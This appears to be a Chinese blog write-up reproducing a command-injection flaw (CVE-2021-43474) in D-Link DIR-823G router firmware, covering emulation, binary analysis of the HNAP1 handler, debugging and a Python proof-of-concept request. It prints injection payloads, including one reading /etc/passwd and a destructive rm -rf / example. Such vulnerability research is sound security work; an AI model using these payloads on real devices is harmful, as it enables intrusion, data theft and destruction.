dir823g

环境
• 虚拟机:Ubuntu20.04
• 固件版本:D-Link DIR-823G firmware version 1.02B05
• 工具:IDA、binwalk、Firmae

漏洞原理

CVE-2021-43474 ,D-Link DIR-823G v1.02 B05及之前的版本存在命令注入漏洞,攻击者可以通过POST的方式往 /HNAP1发送精心构造的请求,执行任意的操作系统命令。

固件仿真

工具firmeae,开始仿真

sudo ./run.sh -d Dlink "/mnt/hgfs/share/DIR-823G漏洞复现(CVE-2023-26612)/DIR823G_V1.0.2B05_20181207.bin"

输入192.168.0.1验证仿真。

image-20250502170833146

提取固件并分析二进制文件

提取固件

binwalk -Me DIR823G_V1.0.2B05_20181207.bin

查看启动项

我们现在假设我们是分析一个未知固件,我们就得先知道这个固件有哪些应用,启动了哪些服务,最清晰和简便的方式就是去看我们etc文件下面,里面有个叫init.d的目录,里面是关于启动项的内容。有2文件rcs和rsc_gw

我们首先来看rcS下面的内容

首先是设置ip,然后挂载了两个文件系统分别是proc,这是与进程相关的文件系统,包括当前进程启动存放在哪个地址。

还有ramfs文件系统跟RAM相关。

然后下面就是判断是否还有挂载别的文件系统。

然后mkdir就是创建各种各样的文件夹,都有对应的功能,比如说创建了pptp文件夹,针对拨号上网的功能,然后还有smbd服务,可以看到创建了一个usb的文件夹,说明该固件有可以跟usb也就是U盘相关的操作,接下来都是一些配置信息。

image-20250503164753639

继续往下翻

可以看到该固件启动了web server的web服务,也就是httpd的内容,这里启动的是goahead,通过这个名字,我们可以确定web服务就是goahead,如果想要分析web服务的话,就直接分析goahead就可以。

image-20250503164949163

在squashfs-root目录找goahead

iot@attifyos ~/f/_/squashfs-root> grep -ir "goahead" .
./etc/init.d/rcS:goahead &
./etc/init.d/rcS_GW:goahead &
Binary file ./bin/mtn_upgrade matches
Binary file ./bin/goahead matches       #这里
Binary file ./bin/timelycheck matches

GoAhead ,它是一个源码,免费、功能强大、可以在多个平台运行的嵌入式WebServer。

goahead的websUrlHandlerDefine函数允许用户自定义不同url的处理函数。

它在进行编写与它相关的请求,是通过websUrlHandlerDefine来确定的。

websUrlHandlerDefine(T("/HNAP1"),NULL,0, websHNAPHandler,0);
websUrlHandlerDefine(T("/goform"),NULL,0, websFormHandler,0);
websUrlHandlerDefine(T("/cgi.bin"),NULL,0, websCgiHandler,0);

分析gohead

ida分析gohead,shift+f12搜HNAP1,第一个ctrl+x找到调用函数,在sub_423F90函数中发现/HNAP1路径的处理程序为sub_42383C函数。

    sub_40B1F4("/HNAP1", 0, 0, sub_42383C, 0); //这里
    sub_40B1F4("/goform", 0, 0, sub_40A810, 0);
    sub_40B1F4("/cgi-bin", 0, 0, sub_403D00, 0);
    sub_40B1F4("/EXCU_SHELL", 0, 0, sub_4234CC, 0);
    sub_40B1F4(&dword_4A3C4C, 0, 0, sub_404940, 2);

sub_42383C函数的第31行代码使用参数a7作为系统命令的一部分,然后第32行代码执行了这个命令,值得注意的是该函数在执行命令前并未对参数a7进行检查。

这里就是漏洞点,这里执行了memset和snprintf,一般来说这里应该是不存在漏洞点,但是下面一条语句是system,也就是把格式化化的字符串直接就拿到了system函数作为参数传递进去,而snprintf这里的参数有个echo,有个单引号的命令注入问题。

命令注入

snprintf 中使用了:

"echo '%s' >/var/hnaplog", a7  

由于只是简单地用单引号包裹 a7 的内容,并没有进行任何转义或过滤,攻击者可以通过构造输入中的单引号 ' 来突破这个包裹,从而注入新的命令。


🧪 示例攻击

假设用户输入的 a7 是:

abc'; cat /etc/passwd; echo '

生成的命令是:

echo 'abc'; cat /etc/passwd; echo '' >/var/hnaplog

这将执行:

  • echo 'abc'
  • cat /etc/passwd → 泄露敏感信息
  • echo '' >/var/hnaplog → 清空日志

所以,如果我们构造一些恶意的代码写入到snprintf中,再传递到system函数,就会造成命令注入漏洞。

int __fastcall sub_42383C(int a1, int a2, int a3, int a4, int a5, int a6, const char *a7)
{
  int v8; // [sp+34h] [+34h]
  int v9; // [sp+38h] [+38h]
  int v10; // [sp+40h] [+40h]
  int v11[1277]; // [sp+4Ch] [+4Ch] BYREF

  v10 = 0;
  strcpy(
    v11,
    "HTTP/1.0 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nConnection: close\r\nCache-Control: private\r\n\r\n");
  v9 = 0;
  v11[26] = 0;
  dword_58A6C0 = a1;
  v8 = malloc(10240);
  if ( v8 )
  {
    memset(v8, 0, 10240);
    v9 = malloc(51200);
    if ( v9 )
    {
      memset(v9, 0, 51200);
      if ( *(a1 + 1316) )
      {
        apmib_get(7011, &v11[26]);
        for ( dword_58A6C4 = &off_588D80; *dword_58A6C4; dword_58A6C4 += 8 )
        {
          if ( strstr(*(a1 + 1316), *dword_58A6C4) )
          {
            memset(&v11[27], 0, 5000);
            snprintf(&v11[27], 4999, "echo '%s' >/var/hnaplog", a7); //这里
            system(&v11[27]);  //命令注入
            printf("wp->hnapfunc===========>%s\n", *(a1 + 1316));
            if ( !strncmp(*dword_58A6C4, "GetLocalMac", 11) )
            {
              memset(&qword_58A6A0, 0, 32);
              strncpy(&qword_58A6A0, a1 + 48, 32);c
            }

命令替换

Command Substitution)是 Shell(如 bash)的一种语法机制,用于先执行一条命令,然后把输出结果插入到命令中原来的位置

输入:

echo "Today is `date`"

Shell 执行步骤:

  1. 先执行 date 命令,比如输出是 Sun May 11 20:00:00 UTC 2025c
  2. 最终命令变为:
echo "Today is Sun May 11 20:00:00 UTC 2025"

在注入中的危险

如果你把用户输入原封不动传给 shell(比如 system()),攻击者可以这样注入:

'`rm -rf /`'

Shell 会执行:

echo '`rm -rf /`' > file

命令替换发生,rm -rf / 被执行,后果灾难性。

gdb动调

选项4进入调试

gdb-multiarch

#然后gdb内
set architecture mips
set follow-fork-mode child  #如果程序调用了 fork() 或 vfork(),GDB 会跟踪子进程,而不是父进程。
set detach-on-fork off #默认情况下,如果程序 fork() 了,GDB 只会调试你选择的那一个进程,自动让另一个进程“脱离调试”。这条命令的作用是:不要自动 detach 掉另一个进程,两个进程都保持被 GDB 附着(即便只调试其中一个,也能随时切换)。
target remote 192.168.0.1:1337

b *0x423A04
c 

寄存器$a3对应参数a7。

可以观察到寄存器$a3指向post请求数据。即post请求数据作为系统命令的一部分,因此可以通过构造HTTP请求进行命令注入。

漏洞验证

import requests

ip='192.168.0.1'

command="'`echo aaaaaaaaa > /web_mtn/test.txt`'"
length=len(command)

headers=requests.utils.default_headers()
headers["Content-Length"]=str(length)
headers["User-Agent"]="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36"
headers["SOAPAction"]='"http://purenetworks.com/HNAP1/GetClientInfo"'
headers["Content-Type"]="text/xml; charset=UTF-8"
headers["Accept"]="*/*"
headers["Accept-Encoding"]="gzip, deflate"
headers["Accept-Language"]="zh-CN,zh;q=0.9,en;q=0.8"

payload=command
r=requests.post('http://'+ip+'/HNAP1/', headers=headers, data=payload)

输入

'`echo aaaaaaaaa > /web_mtn/test.txt`'

会被拼接为:

echo ''`echo aaaaaaaaa > /web_mtn/test.txt`'' >/var/hnaplog

在 shell 中,这段命令解释如下:

反引号 `...` 是命令替换,会执行 echo aaaaaaaaa > /web_mtn/test.txt。
  1. 所以 aaaaaaaaa 会被写入到 /web_mtn/test.txt

  2. 然后主命令变为:

    echo '' >/var/hnaplog
    

这只是将空字符串写入日志,但攻击的真正 payload(写入 /web_mtn/test.txt)已经生效了!

浏览器访问发现内容被写入

image-20250503172232439

参考

https://www.secpulse.com/archives/206007.html

https://www.freebuf.com/articles/vuls/360215.html

posted @ 2025-05-10 14:57  Ma&0xFly  阅读(64)  评论(0)    收藏  举报